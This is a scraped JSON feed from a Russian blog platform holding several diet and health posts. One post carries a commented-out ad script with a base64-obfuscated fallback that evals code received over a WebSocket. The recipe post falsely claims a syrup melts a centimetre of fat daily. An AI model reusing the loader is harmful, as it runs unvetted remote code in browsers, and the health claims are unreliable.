\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>-->\x3c!-- M347983Composite End -->\x3cp>Этот удивительный рецепт потери веса может уменьшить см лишнего жира в день. Он не только сжигает брюшной жир и устраняет избыток воды из организма, но также чрезвычайно полезен для вашей функции мозга, памяти, слуха и \x3ca href=\"http://www.healthyfoodteam.com/1-cup-a-day-melts-1cm-of-stomach-fat-away/\" target=\"_blank\">зрения\x3c/a>.\x3c/p>\x3cp>Он особенно эффективен в сочетании с кардио-упражнениями и регулярными тренировками.\x3c/p>\x3c!-- A generated by theme -->\x3c!-- end A -->\x3cp>\x3cstrong>Ингредиенты:\x3c/strong>\x3c/p>\x3cul>\n\x3cli>125 г хрена\x3c/li>\n\x3cli>4 лимона\x3c/li>\n\x3cli>2 см свежего имбиря\x3c/li>\n\x3cli>3 столовые ложки меда\x3c/li>\n\x3cli>2 столовые ложки корицы\x3c/li>\n\x3c/ul>\x3cp>\x3cstrong>Приготовление:\x3c/strong>\x3c/p>\x3col>\n\x3cli>\x3cspan class=\"goog-text-highlight\">Используя кухонный комбайн, хорошо смешайте хрен и имбирь.\x3c/span>\x3c/li>\n\x3cli>Выжмите лимоны и добавьте сок в хрен и имбирь.\x3c/li>\n\x3cli>Смешивайте еще 3 минуты.\x3c/li>\n\x3cli>Добавьте корицу и мед и перемешайте, пока не получите сироп.\x3c/li>\n\x3cli>Храните смесь в стеклянной банке.\x3c/li>\n\x3cli>Принимайте по 1 чайной ложке два раза в день, перед едой или тренировкой.\x3c/li>\n\x3cli>Потребляйте сироп в течение 3 недель.\x3c/li>\n\x3c/ol>\x3c!-- A generated by theme -->\x3c!-- end A -->\x3cdiv id=\"subscribe_storyfox\">\x3cdiv class=\"subscribe_storyfox_inner\">\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\x3c/div>\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://obo.mirtesen.ru/blog/43326650392","tags":["Диеты","жир","полезен"],"date":1499878113,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20222707357,"photo_original":"https://mtdata.ru/u13/photoA239/20222707357-0/original.jpg","width":600,"height":320}}],"group":{"display_name":"Обо всём на свете","url":"https://obo.mirtesen.ru","photo_original":"//mtdata.ru/u3/groupBC1F/24e5fc4cf1956636622fdab950b525c6-0/__logo.jpeg","id":30476216193,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1385903514653},"canonical_url":"http://fithacker.ru/articles/1-chashka-v-den-rasplavlyaet-1-sm-zhira/","topic":"cooking","title":"1 чашка в день расплавляет 1 см жира","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src =","post_type":"post","formattedDates":{"iso":"2017-07-12T16:48:33.000Z","ver1":"12 июля, 19:48","ver2":"12.07.2017 в 19:48","ver3":"12 июля, 19:48"},"images":[{"main":true,"url":"https://mtdata.ru/u13/photoA239/20222707357-0/original.jpg","width":600,"height":320}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43191790231,"from_id":886934317,"from":{"id":886934317,"display_name":"Наталья","url":"https://mirtesen.ru/people/886934317","photo_original":"https://mtdata.ru/u25/photo4E8C/20731289649-0/original.jpeg","isAuthenticAccount":false,"sex":1},"owner_id":-30463264252,"text":"\x3cp>\x3cimg src=\"http://mtdata.ru/u24/photoDEA2/20129482438-0/original.jpg#20129482438\" alt=\"da841d0d57317454_doughnut-or-apple.xxxlarge\" width=\"550\" height=\"436\" />\x3c/p>\n\x3cdiv>\n\x3cp>Средства массовой информации буквально забрасывают нас историями о вреде сахара для здоровья и советами о том, как избегать любых сладостей. Я сама после нескольких лет изучения питания и его влияния на здоровье и продолжительность жизни поняла, что сахар — это один из основных пищевых врагов современного человека. Однако, большинству из нас не всегда понятно, какой именно сахар, в каких количествах, под каким названием и в каких продуктах опасен для здоровья.\x3c/p>\n\x3cp>Отвечать на эти вопросы я периодически пытаюсь на страницах своего блога, а недавно провела программу вебинаров на тему сахара, которую повторю в ближайшее время.\x3c/p>\n\x3cp>Многие из моих читателей спрашивают, вредны ли фрукты, ведь большинство из них так богаты сахаром. Поэтому я решила опубликовать эту статью, которая, надеюсь, поможет разобраться.\x3c/p>\n\x3cp>\x3cstrong>Сахар в «естественной упаковке» и рафинад: в чем разница?\x3c/strong>\x3c/p>\n\x3cp>Есть один момент, который не часто разъясняют СМИ и специалисты в области здоровья: сахар, содержащийся в цельных продуктах, полезен и необходим нам. Любовь к сладкому, заложенная в нас природой, была предназначена для поддержания нашего здоровья.\x3c/p>\n\x3cp>Утолять свою природную тягу к сладкому можно и нужно свежими фруктами и ягодами в их естественной форме. Я имею в виду цельные растения, а не сок (даже свежевыжатый), пюре или что-то еще. Цельные фрукты содержат не только фруктозу, но и полезную и крайне необходимую для организма клетчатку, витамины, минералы и другие важные химические элементы.\x3c/p>\n\x3cp>Однако производители продуктов питания в стремлении сделать свой товар более желанным использовали нашу природную тягу к сладкому таким образом, что она начала приносить нам массу вреда. Дело в том, что в процессе очистки/рафинации, когда сахар извлекают из его «естественной упаковки», он теряет воду, клетчатку и практически все другие питательные вещества и элементы. Все, что остается от «первоначального комплекта», — это сахар и только сахар.\x3c/p>\n\x3cp>Производители продуктов питания добавляют эти концентрированные и приятные на вкус сахара в болезнетворные продукты. В результате напичканная добавленным сахаром еда часто изобилует вредными жирами, солью, консервантами и красителями. Все это делает ее нездоровой по самым разным причинам, и не только из‑за добавленных сахаров.\x3c/p>\n\x3cp>\x3cstrong>Добавленный сахар\x3c/strong>\x3c/p>\n\x3cp>Небольшие количества добавленного сахара, особенно если еда приготовлена дома, не представляют какого‑либо существенного риска для здоровья. Например, Американская ассоциация сердца рекомендует не превышать такого количества добавленного сахара в день:\x3c/p>\n\x3cp>— 6 чайных ложек для женщин,\x3c/p>\n\x3cp>— 9 чайных ложек для мужчин,\x3c/p>\n\x3cp>— 3 чайные ложки для детей.\x3c/p>\n\x3cp>НО!!! Очень важно понимать, что сахар попадает к нам в организм не только, когда мы добавлем 2 чайные ложки в утреннюю чашку кофе. Добавленный сахар содержится практически во всех промышленно обработанных продуктах питания, и не только в тех, что имеют сладкий вкус (например, печенья), но в том числе в таких, как:\x3c/p>\n\x3cul>\n\x3cli>соусы для салатов и пасты,\x3c/li>\n\x3cli>консервированные супы,\x3c/li>\n\x3cli>закуски и спреды,\x3c/li>\n\x3cli>маринады,\x3c/li>\n\x3cli>прохладительные напитки,\x3c/li>\n\x3cli>некоторые продукты из обработанного мяса (колбаса, сосиски, бекон, ветчина),\x3c/li>\n\x3cli>молочные продукты,\x3c/li>\n\x3cli>сухие завтраки и энергетические батончики.\x3c/li>\n\x3c/ul>\n\x3cp>Поэтому необходимо учитывать и эти продукты, если вы хотите соблюдать рекомендации и не превышать те нормы потребления сахара, которые я описала выше.\x3c/p>\n\x3cp>Вот небольшая картинка, которая показывает, сколько добавленного сахара содержат некоторые продукты питания:\x3c/p>\n\x3cp> \x3c/p>\n\x3cp>\x3ca href=\"http://live-up.co/wp-content/uploads/2015/11/Screen-Shot-2015-11-16-at-12.52.15.png\">\x3cimg src=\"http://mtdata.ru/u23/photo7519/20352555287-0/original.png#20352555287\" alt=\"Screen Shot 2015-11-16 at 12.52.15\" width=\"790\" height=\"416\" />\x3c/a>\x3c/p>\n\x3cp>\x3cstrong>Смотрите видео \x3c/strong>\x3c/p>\n\x3ch1>\x3cspan title=\"Углеводный завтрак или Сколько вы едите сахара в день\" dir=\"ltr\">Сколько сахара вы едите в день \x3c/span>\x3c/h1>\n\x3cp>\x3cstrong>\x3ca href=\"https://www.youtube.com/watch?v=JaiJJFPtiuU\" target=\"_blank\">https://www.youtube.com/watch?v=JaiJJFPtiuU\x3c/a>\x3c/strong>\x3c/p>\n\x3cp>\x3cstrong>Оставьте свой след в истории — напишите комментарий\x3c/strong>\x3c/p>\n\x3cp>\x3cstrong>Понравился пост? Поддержи, нажми НРАВИТСЯ\x3c/strong>\x3c/p>\n\x3cp>\x3ca href=\"http://live-up.co/polezen-ili-vreden-saxar-kotoryj-soderzhitsya-vo-fruktax/\" target=\"_blank\">источник\x3c/a>\x3c/p>\n\x3c/div>","comments_count":1,"marks_count":7,"likes":{"count":7,"user_likes":0,"can_like":0,"marks_pluses":7,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[{"id":100,"count":7}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30463264252.mirtesen.ru/blog/43191790231","tags":["вреден","полезен","советы","сахар","здоровье","еда","питание","во фруктах"],"date":1449266409,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20129482438,"photo_original":"https://mtdata.ru/u24/photoDEA2/20129482438-0/original.jpg","width":550,"height":436}}],"group":{"display_name":"Мир женщины","url":"https://s30463264252.mirtesen.ru","photo_original":"//mtdata.ru/u25/groupF1BE/c53028139bfff32741c6bdc5f9ffeb44-0/__logo.jpeg","id":30463264252,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1392916802196},"canonical_url":"https://s30463264252.mirtesen.ru/blog/43191790231","topic":"cooking","title":"Полезен или вреден сахар, который содержится во фруктах?","preview_text":"Средства массовой информации буквально забрасывают нас историями о вреде сахара для здоровья и советами о том, как избегать любых сладостей. Я сама после нескольких лет изучения питания и его влияния на здоровье и продолжительность жизни поняла, что сахар — это один из основных пищевых врагов","post_type":"post","formattedDates":{"iso":"2015-12-04T22:00:09.000Z","ver1":"5 декабря, 1:00","ver2":"05.12.2015 в 1:00","ver3":"5 дек., 1:00"},"images":[{"main":true,"url":"https://mtdata.ru/u24/photoDEA2/20129482438-0/original.jpg","width":550,"height":436}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43476378231,"from_id":312545503,"from":{"id":312545503,"display_name":"Елена Балина","url":"https://mirtesen.ru/people/312545503","photo_original":"https://mtdata.ru/u28/photoFAD2/20277352891-0/original.jpeg","isAuthenticAccount":false,"sex":1},"owner_id":-30037870100,"text":"\x3cp>\x3cimg src=\"http://mtdata.ru/u12/photo4FC0/20283235205-0/original.jpg#20283235205\" />\x3c/p>\x3cp>Для сока нужно выбирать отборную морковь. \x3cbr/> \x3cbr/>Известный факт, что сок моркови - это прежде всего источник легко усваиваемого витамина А. Но не только. Это также хороший источник\x3c/p>","comments_count":9,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://mt-smi.mirtesen.ru/blog/43476378231","tags":["шлаки","моркови","сок","витамин","кожи","морковный","полезен","стакан","свежевыжатый","красота","реакция","очищение"],"date":1382289309,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20283235205,"photo_original":"https://mtdata.ru/u12/photo4FC0/20283235205-0/original.jpg","width":800,"height":612}}],"group":{"display_name":"Новости, события, факты","url":"https://mt-smi.mirtesen.ru","photo_original":"//mtdata.ru/u19/photo378B/20316207244-0/original.jpeg","id":30037870100,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1361964226697},"canonical_url":"https://mt-smi.mirtesen.ru/blog/43476378231","topic":null,"title":"Морковный сок","preview_text":"Для сока нужно выбирать отборную морковь. Известный факт, что сок моркови - это прежде всего источник легко усваиваемого витамина А. Но не только. Это также хороший источник","post_type":"post","formattedDates":{"iso":"2013-10-20T17:15:09.000Z","ver1":"20 октября, 21:15","ver2":"20.10.2013 в 21:15","ver3":"20 окт., 21:15"},"images":[{"main":true,"url":"https://mtdata.ru/u12/photo4FC0/20283235205-0/original.jpg","width":800,"height":612}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43299693559,"from_id":865535140,"from":{"id":865535140,"display_name":"Proximus","url":"https://mirtesen.ru/people/865535140","photo_original":"https://mtdata.ru/u25/photo17BC/20596080546-0/original.jpeg","isAuthenticAccount":false,"sex":1},"owner_id":-30037870100,"text":"\x3cp>\x3cimg src=\"http://mtdata.ru/u19/photo00E6/20573503694-0/original.jpg#20573503694\" />\x3c/p>Ученые из Каролинского института в Стокгольме выяснили, что потребление алкоголя на 50% снижает риск развития ревматоидного артрита. Об этом они сообщили в статье, опубликованной в журнале Annals of the Rheumatic Diseases.","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://mt-smi.mirtesen.ru/blog/43299693559","tags":["ученые","снижает","артрит","алкоголь","полезен","здоровье","риск","потребление","защищает"],"date":1212759893,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20573503694,"photo_original":"https://mtdata.ru/u19/photo00E6/20573503694-0/original.jpg","width":100,"height":83}}],"group":{"display_name":"Новости, события, факты","url":"https://mt-smi.mirtesen.ru","photo_original":"//mtdata.ru/u19/photo378B/20316207244-0/original.jpeg","id":30037870100,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1361964226697},"canonical_url":"https://mt-smi.mirtesen.ru/blog/43299693559","topic":null,"title":"Ученые выяснили, что алкоголь защищает от артрита","preview_text":"Ученые из Каролинского института в Стокгольме выяснили, что потребление алкоголя на 50% снижает риск развития ревматоидного артрита. Об этом они сообщили в статье, опубликованной в журнале Annals of the Rheumatic Diseases.","post_type":"post","formattedDates":{"iso":"2008-06-06T13:44:53.000Z","ver1":"6 июня, 17:44","ver2":"06.06.2008 в 17:44","ver3":"6 июня, 17:44"},"images":[{"main":true,"url":"https://mtdata.ru/u19/photo00E6/20573503694-0/original.jpg","width":100,"height":83}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"полезен","tagId":80402085199,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"channelId":null,"isMobile":false,"tab":"info","key":0,"isOpen":false,"isReady":true,"inProcess":false,"isDirty":false,"header":{"title":"","avatar":null},"info":{"id":null,"name":"","title":"","description":"","isNameAvailable":true,"errors":{}},"content":{"tags":[],"tagSuggestions":[],"geoTags":[],"geoTagSuggestions":[]},"telegramEdit":{"importKey":null,"name":"","tags":[],"tagSuggestions":[],"errors":{}},"telegramList":{"imports":[]}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"query":"","activeTab":"posts","isLoading":false,"posts":{"results":[],"page":0,"hasMore":true},"geo":{"results":[],"page":0,"hasMore":true},"channels":{"results":[],"page":0,"hasMore":true}}}